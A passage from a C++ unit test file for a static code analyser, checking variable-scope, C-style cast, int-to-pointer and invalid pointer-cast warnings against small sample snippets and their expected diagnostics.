\"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", 